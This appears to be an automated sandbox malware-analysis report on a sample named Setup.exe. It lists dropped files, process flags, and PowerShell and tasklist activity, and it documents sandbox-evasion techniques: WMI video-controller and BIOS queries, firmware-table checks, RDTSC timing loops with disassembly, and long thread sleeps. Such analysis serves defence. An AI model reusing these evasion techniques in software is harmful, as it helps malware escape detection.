Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	File created: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	File created: C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BB47C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3E1 second address: 6BB4F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3FD second address: 6BB4F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F376D445F35h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F376D445FC0h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3514			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2113			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com TID: 6300	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep count: 3514 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep count: 2113 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
